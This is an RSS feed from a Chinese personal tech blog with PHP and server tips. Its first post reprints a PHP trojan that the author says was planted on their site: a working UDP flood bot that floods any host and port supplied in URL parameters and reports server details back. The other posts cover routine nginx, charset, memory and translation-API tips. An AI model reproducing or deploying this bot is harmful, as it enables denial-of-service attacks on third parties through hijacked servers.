<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>登高望远 &#187; php</title>
	<atom:link href="http://www.dengor.com/archives/tag/php/feed" rel="self" type="application/rss+xml" />
	<link>http://www.dengor.com</link>
	<description>努力往上  只为看得更远一点点......</description>
	<lastBuildDate>Mon, 06 Feb 2012 08:59:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.3</generator>
		<item>
		<title>一个PHP木马的代码</title>
		<link>http://www.dengor.com/archives/1328.html</link>
		<comments>http://www.dengor.com/archives/1328.html#comments</comments>
		<pubDate>Sat, 29 Oct 2011 08:43:47 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[木马]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=1328</guid>
		<description><![CDATA[前段时间网站中了一个木马, 被人调用后流量一下就用完了. PHP木马的代码: &#60;?php set_time_limit(999999); $host = $_GET['host']; $port = $_GET['port']; $exec_time = $_GET['time']; $Sendlen = 128; $packets = 0; ignore_user_abort(True); if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ if (StrLen($_GET['rat'])&#60;&#62;0){ echo $_GET['rat'].$_SERVER["HTTP_HOST"].&#8221;&#124;&#8221;.GetHostByName($_SERVER['SERVER_NAME']).&#8221;&#124;&#8221;.php_uname().&#8221;&#124;&#8221;.$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; exit; } echo &#8220;err&#8221;; exit; } for($i=0;$i&#60;$Sendlen;$i++){ $out .= &#8220;A&#8221;; } $max_time = time()+$exec_time; while(1){ $packets++; if(time() &#62; $max_time or $exec_time != 18){ break; [...]]]></description>
			<content:encoded><![CDATA[<p>前段时间网站中了一个木马, 被人调用后流量一下就用完了.</p>
<p>PHP木马的代码:</p>
<p><span id="more-1328"></span></p>
<blockquote><p>&lt;?php<br />
set_time_limit(999999);<br />
$host = $_GET['host'];<br />
$port = $_GET['port'];<br />
$exec_time = $_GET['time'];<br />
$Sendlen = 128;<br />
$packets = 0;<br />
ignore_user_abort(True);</p>
<p>if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){<br />
if (StrLen($_GET['rat'])&lt;&gt;0){<br />
echo $_GET['rat'].$_SERVER["HTTP_HOST"].&#8221;|&#8221;.GetHostByName($_SERVER['SERVER_NAME']).&#8221;|&#8221;.php_uname().&#8221;|&#8221;.$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];<br />
exit;<br />
}<br />
echo &#8220;err&#8221;;<br />
exit;<br />
}</p>
<p>for($i=0;$i&lt;$Sendlen;$i++){<br />
$out .= &#8220;A&#8221;;<br />
}</p>
<p>$max_time = time()+$exec_time;<br />
while(1){<br />
$packets++;<br />
if(time() &gt; $max_time or $exec_time != 18){<br />
break;<br />
}<br />
$fp = fsockopen(&#8220;udp://$host&#8221;, $port, $errno, $errstr, 5);<br />
if($fp){<br />
fwrite($fp, $out);<br />
fclose($fp);<br />
}<br />
}<br />
?&gt;</p></blockquote>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/1301.html" title="lnmp安装后进程优化">lnmp安装后进程优化</a></li><li><a href="http://www.dengor.com/archives/1162.html" title="使用PHP的header函数修改网页的输出编码">使用PHP的header函数修改网页的输出编码</a></li><li><a href="http://www.dengor.com/archives/1023.html" title="显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法">显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法</a></li><li><a href="http://www.dengor.com/archives/903.html" title="修改PHP运行内存memory大小的几种方法">修改PHP运行内存memory大小的几种方法</a></li><li><a href="http://www.dengor.com/archives/855.html" title="PHP即时输出内容">PHP即时输出内容</a></li><li><a href="http://www.dengor.com/archives/809.html" title="分享一个PHP的google翻译接口GTranslate">分享一个PHP的google翻译接口GTranslate</a></li><li><a href="http://www.dengor.com/archives/798.html" title="PHP处理html简单好工具-simplehtmldom">PHP处理html简单好工具-simplehtmldom</a></li><li><a href="http://www.dengor.com/archives/789.html" title="php运行超时分步执行的简单方法">php运行超时分步执行的简单方法</a></li><li><a href="http://www.dengor.com/archives/763.html" title="Jquery使用php进行ajax调用例子">Jquery使用php进行ajax调用例子</a></li><li><a href="http://www.dengor.com/archives/449.html" title="Cpanel中的cron定时执行任务使用方法">Cpanel中的cron定时执行任务使用方法</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/1328.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>lnmp安装后进程优化</title>
		<link>http://www.dengor.com/archives/1301.html</link>
		<comments>http://www.dengor.com/archives/1301.html#comments</comments>
		<pubDate>Mon, 19 Sep 2011 15:43:33 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[lnmp]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[VPS]]></category>
		<category><![CDATA[进程]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=1301</guid>
		<description><![CDATA[lnmp安装后进程优化一下，以更好的发挥VPS的性能 修改php-cgi vi /usr/local/nginx/conf/nginx.conf 其中worker_processes 1;可以修改成2或3个，nginx本身就很强大，不需要像apache那样，开启过多的进程来保证其稳定运行。 vi /usr/local/php/etc/php-fpm.conf 找到&#60;value name=&#8221;max_children&#8221;&#62;，按你的内存容量修改PHP进程的数量，一般128内存开启6个，256内存开启16个。这样能保证，在PHP大并发的情况下不会502错误。 优化后，使用以下命令重新启动lnmp /root/lnmp restart 相关文章prestashop在lnmpa下图片不显示问题Nginx(LNMP)反向代理配置教程[转]Linux系统中IPtables设置基础知识Nginx默认网站的设置更新源问题导致debian6下Lnmp无法安装成功一个PHP木马的代码让nginx按域名来反向代理debian无法解析时配置resolv.conf文件Kloxo面板网站出现500错误Debian5下安装PPTP VPN的配置方法]]></description>
			<content:encoded><![CDATA[<div>lnmp安装后进程优化一下，以更好的发挥VPS的性能<br />
修改php-cgi</div>
<div>
<blockquote><p>vi /usr/local/nginx/conf/nginx.conf</p></blockquote>
</div>
<p>其中worker_processes 1;可以修改成2或3个，nginx本身就很强大，不需要像apache那样，开启过多的进程来保证其稳定运行。</p>
<blockquote><p>vi /usr/local/php/etc/php-fpm.conf</p></blockquote>
<div><span id="more-1301"></span>找到&lt;value name=&#8221;max_children&#8221;&gt;，按你的内存容量修改PHP进程的数量，一般128内存开启6个，256内存开启16个。这样能保证，在PHP大并发的情况下不会502错误。</div>
<div>优化后，使用以下命令重新启动lnmp</div>
<blockquote><p>/root/lnmp restart</p></blockquote>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/1291.html" title="prestashop在lnmpa下图片不显示问题">prestashop在lnmpa下图片不显示问题</a></li><li><a href="http://www.dengor.com/archives/1267.html" title="Nginx(LNMP)反向代理配置教程[转]">Nginx(LNMP)反向代理配置教程[转]</a></li><li><a href="http://www.dengor.com/archives/1150.html" title="Linux系统中IPtables设置基础知识">Linux系统中IPtables设置基础知识</a></li><li><a href="http://www.dengor.com/archives/1125.html" title="Nginx默认网站的设置">Nginx默认网站的设置</a></li><li><a href="http://www.dengor.com/archives/1356.html" title="更新源问题导致debian6下Lnmp无法安装成功">更新源问题导致debian6下Lnmp无法安装成功</a></li><li><a href="http://www.dengor.com/archives/1328.html" title="一个PHP木马的代码">一个PHP木马的代码</a></li><li><a href="http://www.dengor.com/archives/1317.html" title="让nginx按域名来反向代理">让nginx按域名来反向代理</a></li><li><a href="http://www.dengor.com/archives/1312.html" title="debian无法解析时配置resolv.conf文件">debian无法解析时配置resolv.conf文件</a></li><li><a href="http://www.dengor.com/archives/1285.html" title="Kloxo面板网站出现500错误">Kloxo面板网站出现500错误</a></li><li><a href="http://www.dengor.com/archives/1281.html" title="Debian5下安装PPTP VPN的配置方法">Debian5下安装PPTP VPN的配置方法</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/1301.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>使用PHP的header函数修改网页的输出编码</title>
		<link>http://www.dengor.com/archives/1162.html</link>
		<comments>http://www.dengor.com/archives/1162.html#comments</comments>
		<pubDate>Tue, 14 Jun 2011 01:08:55 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[header]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[函数]]></category>
		<category><![CDATA[编码]]></category>
		<category><![CDATA[输出]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=1162</guid>
		<description><![CDATA[Header函数最常用的一个功能就是用来做页面的跳转,在php运行超时分步执行就用到了. 其实还可以利用header来重新定义网页的输出编码. 最近在做一个PHP页面中, 通过 require(&#8216;blog/wp-blog-header.php&#8217;); 这种方法引入wordpress,  因为wp是utf-8编码的,而页面又是gbk的, 所在输出网页的时候全部乱码了. 这时候用在&#60;meta申明 charset=gbk也是无效的, 只有在require后面加上这句: header(&#8220;Content-Type:text/html;charset=gbk&#8221;); 网页又完全正常了, 相当于重新定义了输出页面的编码. 另: 本地调用wordpress数据引入方法: &#60;?php define(&#8216;DB_CHARSET&#8217;, &#8216;gbk&#8217;); require(&#8216;blog/wp-blog-header.php&#8217;); header(&#8220;Content-Type:text/html;charset=gbk&#8221;); query_posts(&#8216;showposts=2&#8242;); ?&#62; &#60;?php while (have_posts()): the_post(); ?&#62; &#60;h3&#62;&#60;?php the_title() ?&#62;&#60;/h3&#62; &#60;?php the_excerpt() ?&#62; &#60;p&#62;&#60;a href=&#8221;&#60;?php the_permalink(); ?&#62;&#8221;&#62;Read more&#8230;&#60;/a&#62;&#60;/p&#62; &#60;?php endwhile; ?&#62; 其中define(&#8216;DB_CHARSET&#8217;, &#8216;gbk&#8217;); 是让wp输出gbk编辑的数据. 原创文章 转载请注明出处: 登高望远 [ http://www.dengor.com/archives/1162.html ] 相关文章PHP即时输出内容PHP几个常用的调试输出函数一个PHP木马的代码lnmp安装后进程优化让lnmp能用mail()函数来发邮件显示Deprecated: Assigning the return [...]]]></description>
			<content:encoded><![CDATA[<p>Header函数最常用的一个功能就是用来做页面的跳转,在<a rel="bookmark" href="../archives/789.html">php运行超时分步执行</a>就用到了. 其实还可以利用header来重新定义网页的输出编码.</p>
<p>最近在做一个PHP页面中, 通过</p>
<blockquote><p>require(&#8216;blog/wp-blog-header.php&#8217;);</p></blockquote>
<p><span id="more-1162"></span>这种方法引入wordpress,  因为wp是utf-8编码的,而页面又是gbk的, 所在输出网页的时候全部乱码了. 这时候用在&lt;meta申明 charset=gbk也是无效的, 只有在require后面加上这句:</p>
<blockquote><p>header(&#8220;Content-Type:text/html;charset=gbk&#8221;);</p></blockquote>
<p>网页又完全正常了, 相当于重新定义了输出页面的编码.</p>
<p>另: 本地调用wordpress数据引入方法:</p>
<blockquote><p>&lt;?php<br />
define(&#8216;DB_CHARSET&#8217;, &#8216;gbk&#8217;);<br />
require(&#8216;blog/wp-blog-header.php&#8217;);<br />
header(&#8220;Content-Type:text/html;charset=gbk&#8221;);<br />
query_posts(&#8216;showposts=2&#8242;);<br />
?&gt;<br />
&lt;?php<br />
while (have_posts()): the_post();<br />
?&gt;<br />
&lt;h3&gt;&lt;?php the_title() ?&gt;&lt;/h3&gt;<br />
&lt;?php the_excerpt() ?&gt;<br />
&lt;p&gt;&lt;a href=&#8221;&lt;?php the_permalink(); ?&gt;&#8221;&gt;Read more&#8230;&lt;/a&gt;&lt;/p&gt;<br />
&lt;?php endwhile; ?&gt;</p></blockquote>
<p>其中define(&#8216;DB_CHARSET&#8217;, &#8216;gbk&#8217;); 是让wp输出gbk编辑的数据.</p>
<p><span style="color: #a52a2a;">原创文章 转载请注明出处: <a href="../">登高望远</a> [ </span><a href="http://www.dengor.com/archives/1162.html">http://www.dengor.com/archives/1162.html</a><span> ]</span></p>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/855.html" title="PHP即时输出内容">PHP即时输出内容</a></li><li><a href="http://www.dengor.com/archives/105.html" title="PHP几个常用的调试输出函数">PHP几个常用的调试输出函数</a></li><li><a href="http://www.dengor.com/archives/1328.html" title="一个PHP木马的代码">一个PHP木马的代码</a></li><li><a href="http://www.dengor.com/archives/1301.html" title="lnmp安装后进程优化">lnmp安装后进程优化</a></li><li><a href="http://www.dengor.com/archives/1205.html" title="让lnmp能用mail()函数来发邮件">让lnmp能用mail()函数来发邮件</a></li><li><a href="http://www.dengor.com/archives/1023.html" title="显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法">显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法</a></li><li><a href="http://www.dengor.com/archives/903.html" title="修改PHP运行内存memory大小的几种方法">修改PHP运行内存memory大小的几种方法</a></li><li><a href="http://www.dengor.com/archives/809.html" title="分享一个PHP的google翻译接口GTranslate">分享一个PHP的google翻译接口GTranslate</a></li><li><a href="http://www.dengor.com/archives/798.html" title="PHP处理html简单好工具-simplehtmldom">PHP处理html简单好工具-simplehtmldom</a></li><li><a href="http://www.dengor.com/archives/789.html" title="php运行超时分步执行的简单方法">php运行超时分步执行的简单方法</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/1162.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法</title>
		<link>http://www.dengor.com/archives/1023.html</link>
		<comments>http://www.dengor.com/archives/1023.html#comments</comments>
		<pubDate>Tue, 30 Nov 2010 03:48:24 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[5.3]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[错误]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=1023</guid>
		<description><![CDATA[很多朋友的php程序当php的版本升级到5.3以后，会出现”Deprecated: Assigning the return value of new by reference is deprecated in“　显示出来。这是因为5.3以后，不能使用”=&#38;”符号，可以直接用&#8221;=&#8221;就可以了。 所以当出现这个问题后有两种解决方法： 1.　把php的版本降级到5.3以下，但后退的不是明智的选择。 2. 　对程序中”=&#38;”符号全部用&#8221;=&#8221; 代替。 转载请注明出处: 登高望远 [ http://www.dengor.com/archives/1023.html ] 相关文章一个PHP木马的代码lnmp安装后进程优化Kloxo面板网站出现500错误使用PHP的header函数修改网页的输出编码修改PHP运行内存memory大小的几种方法PHP即时输出内容分享一个PHP的google翻译接口GTranslatePHP处理html简单好工具-simplehtmldomphp运行超时分步执行的简单方法Jquery使用php进行ajax调用例子]]></description>
			<content:encoded><![CDATA[<p>很多朋友的php程序当php的版本升级到5.3以后，会出现”<strong>Deprecated: Assigning the return value of new by reference is deprecated in</strong>“　显示出来。这是因为5.3以后，不能使用”=&amp;”符号，可以直接用&#8221;=&#8221;就可以了。</p>
<p>所以当出现这个问题后有两种解决方法：</p>
<p><strong><span id="more-1023"></span>1.　把php的版本降级到5.3以下，但后退的不是明智的选择。</strong></p>
<p><strong>2. 　对程序中”=&amp;”符号全部用&#8221;=&#8221; 代替。</strong></p>
<p>转载请注明出处: <a href="../">登高望远</a> [ <a href="http://www.dengor.com/archives/1023.html">http://www.dengor.com/archives/1023.html</a> ]</p>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/1328.html" title="一个PHP木马的代码">一个PHP木马的代码</a></li><li><a href="http://www.dengor.com/archives/1301.html" title="lnmp安装后进程优化">lnmp安装后进程优化</a></li><li><a href="http://www.dengor.com/archives/1285.html" title="Kloxo面板网站出现500错误">Kloxo面板网站出现500错误</a></li><li><a href="http://www.dengor.com/archives/1162.html" title="使用PHP的header函数修改网页的输出编码">使用PHP的header函数修改网页的输出编码</a></li><li><a href="http://www.dengor.com/archives/903.html" title="修改PHP运行内存memory大小的几种方法">修改PHP运行内存memory大小的几种方法</a></li><li><a href="http://www.dengor.com/archives/855.html" title="PHP即时输出内容">PHP即时输出内容</a></li><li><a href="http://www.dengor.com/archives/809.html" title="分享一个PHP的google翻译接口GTranslate">分享一个PHP的google翻译接口GTranslate</a></li><li><a href="http://www.dengor.com/archives/798.html" title="PHP处理html简单好工具-simplehtmldom">PHP处理html简单好工具-simplehtmldom</a></li><li><a href="http://www.dengor.com/archives/789.html" title="php运行超时分步执行的简单方法">php运行超时分步执行的简单方法</a></li><li><a href="http://www.dengor.com/archives/763.html" title="Jquery使用php进行ajax调用例子">Jquery使用php进行ajax调用例子</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/1023.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>修改PHP运行内存memory大小的几种方法</title>
		<link>http://www.dengor.com/archives/903.html</link>
		<comments>http://www.dengor.com/archives/903.html#comments</comments>
		<pubDate>Wed, 27 Oct 2010 15:23:42 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[memory]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[内存]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=903</guid>
		<description><![CDATA[如果PHP进行比较消耗资源的操作, 有可能会出现内存不足的情况, 默认的设置是32M, 如果内存溢出, 会显示以下错误: 这时候也要让程序运行可以用以下几中方法: 一. 修改PHP运行内存memory的大小. 1.  可以修改配置文件 php.ini 中的 memory_limit = 32M 把32改为64或更大. 记得要重新启动, 可以通过查看 phpinfo 的 memory_limit 来看有没有生效. 2. 直接在php文件中用 ini_set修改临时内存. 只要在php文件写入: ini_set(&#8216;memory_limit&#8217;, &#8217;64M&#8217;); 就能临时改变PHP内存的大小. 二 .  让程序分步执行. 可让php程序 运行超时分步执行, 这样能有效减少资源的消耗. 原创文章 转载请注明出处: 登高望远 [ http://www.dengor.com/archives/903.html ] 相关文章一个PHP木马的代码lnmp安装后进程优化使用PHP的header函数修改网页的输出编码显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法PHP即时输出内容分享一个PHP的google翻译接口GTranslatePHP处理html简单好工具-simplehtmldomphp运行超时分步执行的简单方法Jquery使用php进行ajax调用例子Cpanel中的cron定时执行任务使用方法]]></description>
			<content:encoded><![CDATA[<p>如果PHP进行比较消耗资源的操作, 有可能会出现内存不足的情况, 默认的设置是32M, 如果内存溢出, 会显示以下错误:</p>
<p>这时候也要让程序运行可以用以下几中方法:</p>
<p><span id="more-903"></span></p>
<p>一<strong>. 修改PHP运行内存memory的大小.</strong></p>
<p><strong> </strong>1.  可以修改配置文件 php.ini 中的 memory_limit = 32M</p>
<p>把32改为64或更大.</p>
<p>记得要重新启动, 可以通过查看 phpinfo 的 memory_limit 来看有没有生效.</p>
<p>2. 直接在php文件中用 ini_set修改临时内存.</p>
<p>只要在php文件写入:</p>
<blockquote><p>ini_set(&#8216;memory_limit&#8217;, &#8217;64M&#8217;);</p></blockquote>
<p>就能临时改变PHP内存的大小.</p>
<p>二 .  让程序分步执行.</p>
<p>可让php程序 <a href="http://www.dengor.com/archives/789.htmlphp">运行超时分步执行</a>, 这样能有效减少资源的消耗.</p>
<p>原创文章 转载请注明出处: <a href="../">登高望远</a> [<a href="http://www.dengor.com/archives/903.html"> http://www.dengor.com/archives/903.html</a> ]</p>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/1328.html" title="一个PHP木马的代码">一个PHP木马的代码</a></li><li><a href="http://www.dengor.com/archives/1301.html" title="lnmp安装后进程优化">lnmp安装后进程优化</a></li><li><a href="http://www.dengor.com/archives/1162.html" title="使用PHP的header函数修改网页的输出编码">使用PHP的header函数修改网页的输出编码</a></li><li><a href="http://www.dengor.com/archives/1023.html" title="显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法">显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法</a></li><li><a href="http://www.dengor.com/archives/855.html" title="PHP即时输出内容">PHP即时输出内容</a></li><li><a href="http://www.dengor.com/archives/809.html" title="分享一个PHP的google翻译接口GTranslate">分享一个PHP的google翻译接口GTranslate</a></li><li><a href="http://www.dengor.com/archives/798.html" title="PHP处理html简单好工具-simplehtmldom">PHP处理html简单好工具-simplehtmldom</a></li><li><a href="http://www.dengor.com/archives/789.html" title="php运行超时分步执行的简单方法">php运行超时分步执行的简单方法</a></li><li><a href="http://www.dengor.com/archives/763.html" title="Jquery使用php进行ajax调用例子">Jquery使用php进行ajax调用例子</a></li><li><a href="http://www.dengor.com/archives/449.html" title="Cpanel中的cron定时执行任务使用方法">Cpanel中的cron定时执行任务使用方法</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/903.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP即时输出内容</title>
		<link>http://www.dengor.com/archives/855.html</link>
		<comments>http://www.dengor.com/archives/855.html#comments</comments>
		<pubDate>Thu, 15 Jul 2010 08:51:00 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[即时]]></category>
		<category><![CDATA[输出]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=855</guid>
		<description><![CDATA[通常的情况下用PHP输出内容会先缓存, 到最后全部输出.  如果有一个多步的耗时操作, 所有的结果都要等到页面执行完后才能看到.  中间漫长的过程只有等待. 能不能立即都看到每步的结果呢? 如何让PHP即时输出内容呢.   可以用以下方法设定缓存的输出: ob_start(); //do something to generate $content echo $content; ob_end_flush(); flush(); //if script is ending, this can be removed. 这里ob_start()就是指定缓存的开始. ob_end_flush()就是结束. 而flash()就是显示出来. 注意: 1. 有些Win32下的web服务器程序，在发送结果到浏览器之前，仍然会缓存脚本的输出，直到程序结束为止。 2.某些浏览器必须在接收到256个字符后才会显示内容。 相关文章使用PHP的header函数修改网页的输出编码一个PHP木马的代码lnmp安装后进程优化显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法修改PHP运行内存memory大小的几种方法分享一个PHP的google翻译接口GTranslatePHP处理html简单好工具-simplehtmldomphp运行超时分步执行的简单方法Jquery使用php进行ajax调用例子Cpanel中的cron定时执行任务使用方法]]></description>
			<content:encoded><![CDATA[<p>通常的情况下用<strong>PHP输出内容</strong>会先<strong>缓存</strong>, 到最后全部输出.  如果有一个多步的耗时操作, 所有的结果都要等到页面执行完后才能看到.  中间漫长的过程只有等待. 能不能立即都看到每步的结果呢?</p>
<p>如何让<strong>PHP即时输出内容</strong>呢.   可以用以下方法设定缓存的输出:</p>
<p><span id="more-855"></span></p>
<blockquote><p>ob_start();<br />
//do something to generate $content<br />
echo $content;<br />
ob_end_flush();<br />
flush(); //if script is ending, this can be removed.</p></blockquote>
<p>这里ob_start()就是指定缓存的开始. ob_end_flush()就是结束. 而flash()就是显示出来.</p>
<p>注意:</p>
<p>1. 有些Win32下的web服务器程序，在发送结果到浏览器之前，仍然会缓存脚本的输出，直到程序结束为止。</p>
<p>2.某些浏览器必须在接收到256个字符后才会显示内容。</p>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/1162.html" title="使用PHP的header函数修改网页的输出编码">使用PHP的header函数修改网页的输出编码</a></li><li><a href="http://www.dengor.com/archives/1328.html" title="一个PHP木马的代码">一个PHP木马的代码</a></li><li><a href="http://www.dengor.com/archives/1301.html" title="lnmp安装后进程优化">lnmp安装后进程优化</a></li><li><a href="http://www.dengor.com/archives/1023.html" title="显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法">显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法</a></li><li><a href="http://www.dengor.com/archives/903.html" title="修改PHP运行内存memory大小的几种方法">修改PHP运行内存memory大小的几种方法</a></li><li><a href="http://www.dengor.com/archives/809.html" title="分享一个PHP的google翻译接口GTranslate">分享一个PHP的google翻译接口GTranslate</a></li><li><a href="http://www.dengor.com/archives/798.html" title="PHP处理html简单好工具-simplehtmldom">PHP处理html简单好工具-simplehtmldom</a></li><li><a href="http://www.dengor.com/archives/789.html" title="php运行超时分步执行的简单方法">php运行超时分步执行的简单方法</a></li><li><a href="http://www.dengor.com/archives/763.html" title="Jquery使用php进行ajax调用例子">Jquery使用php进行ajax调用例子</a></li><li><a href="http://www.dengor.com/archives/449.html" title="Cpanel中的cron定时执行任务使用方法">Cpanel中的cron定时执行任务使用方法</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/855.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>分享一个PHP的google翻译接口GTranslate</title>
		<link>http://www.dengor.com/archives/809.html</link>
		<comments>http://www.dengor.com/archives/809.html#comments</comments>
		<pubDate>Tue, 15 Jun 2010 17:25:13 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[网罗天下]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[GTranslate]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[翻译接口]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=809</guid>
		<description><![CDATA[Google翻译真的做得很好, 虽然有时候翻译得不是很准确, 但机器翻译有这种水平,应该满足了.  如果你手上有大量的文档要翻译, 肯定不想一个个去google的翻译页面去拷贝粘贴. 这里介绍一个好用的google翻译接口GTranslate,  这是用PHP开发的翻译接口 gtranslate-api-php , 如果你知道一点PHP方面的知识, 很容易就可以写出文档翻译的程序来. 下面通过一个例子下看如何使用: 这个接口类使用很简单, 只要先在PHP中引入接口文件: require("GTranslate.php"); 运用的时候先初始化类: require("GTranslate.php"); 再调用类的方法翻译内容得到翻译后的结果: $zh = $gt-&#62;english_to_chinese_simplified($en); 这里$en就是要翻译的英文内容, $zh就是翻译后的中文结果. 是不是很方便, 全程都是傻瓜化的操作.  很容易就可以得到自己要翻译内容.  如果在翻译的过程中出了错误,还可以通过$gt-&#62;getMessage(); 来获取错误原因.  程序定义了几乎google翻译所支持的语种之间的翻译方法. 如中文到英文, 英文到中文, 英文到法文, 德文到中文等等所有的语种之间的翻译. require(&#8220;gtranslate.php&#8221;); $gt = new gtranslate; $gt-&#62;setrequesttype(&#8216;curl&#8217;); $en=$gt-&#62;chinese_simplified_to_english(&#8220;中文内容&#8221;); $zh = $gt-&#62;english_to_chinese_simplified(&#8220;english&#8221;); 这里要注意一点就是, 如果要翻译的原文太长, 程序会出错, 这是因为google翻译本身就限制了翻译文本的大小. 所以对于大文本可以分开多段来处理. 关于PHP的分步处理可能参考本人另一篇文章:php运行超时分步执行的简单方法. 原创文章 转载请注明出处: 登高望远 [http://www.dengor.com/archives/809.html] 相关文章一个PHP木马的代码lnmp安装后进程优化使用PHP的header函数修改网页的输出编码Google的企业套件停用移除.CN显示Deprecated: Assigning [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Google翻译</strong>真的做得很好, 虽然有时候翻译得不是很准确, 但机器翻译有这种水平,应该满足了.  如果你手上有大量的文档要翻译, 肯定不想一个个去google的翻译页面去拷贝粘贴.</p>
<p>这里介绍一个好用的<strong>google翻译接口GTranslate</strong>,  这是用PHP开发的翻译接口 <a title="gtranslate-api-php" href="http://code.google.com/p/gtranslate-api-php/" target="_blank">gtranslate-api-php</a> , 如果你知道一点<a href="http://www.dengor.com/archives/tag/php" target="_self">PHP</a>方面的知识, 很容易就可以写出文档翻译的程序来. 下面通过一个例子下看如何使用:</p>
<p><span id="more-809"></span></p>
<p>这个接口类使用很简单, 只要先在PHP中引入接口文件:</p>
<blockquote>
<pre><em><em>require("GTranslate.php");</em></em></pre>
</blockquote>
<p>运用的时候先初始化类:</p>
<blockquote>
<pre><em><em>require("GTranslate.php");</em></em></pre>
</blockquote>
<p>再调用类的方法翻译内容得到翻译后的结果:</p>
<blockquote><p>$zh = $gt-&gt;english_to_chinese_simplified($en);</p></blockquote>
<p>这里$en就是要翻译的英文内容, $zh就是翻译后的中文结果.</p>
<p>是不是很方便, 全程都是傻瓜化的操作.  很容易就可以得到自己要翻译内容.  如果在翻译的过程中出了错误,还可以通过<em><em>$gt-&gt;getMessage();</em></em> 来获取错误原因.  程序定义了几乎google翻译所支持的语种之间的翻译方法. 如中文到英文, 英文到中文, 英文到法文, 德文到中文等等所有的语种之间的翻译.</p>
<blockquote><p>require(&#8220;gtranslate.php&#8221;);<br />
$gt = new gtranslate;<br />
$gt-&gt;setrequesttype(&#8216;curl&#8217;);<br />
$en=$gt-&gt;chinese_simplified_to_english(&#8220;中文内容&#8221;);<br />
$zh = $gt-&gt;english_to_chinese_simplified(&#8220;english&#8221;);</p></blockquote>
<p>这里要注意一点就是, 如果要翻译的原文太长, 程序会出错, 这是因为google翻译本身就限制了翻译文本的大小. 所以对于大文本可以分开多段来处理. 关于<a href="http://www.dengor.com/archives/789.html" target="_self">PHP的分步处理</a>可能参考本人另一篇文章:<a rel="bookmark" href="../archives/789.html">php运行超时分步执行的简单方法</a>.</p>
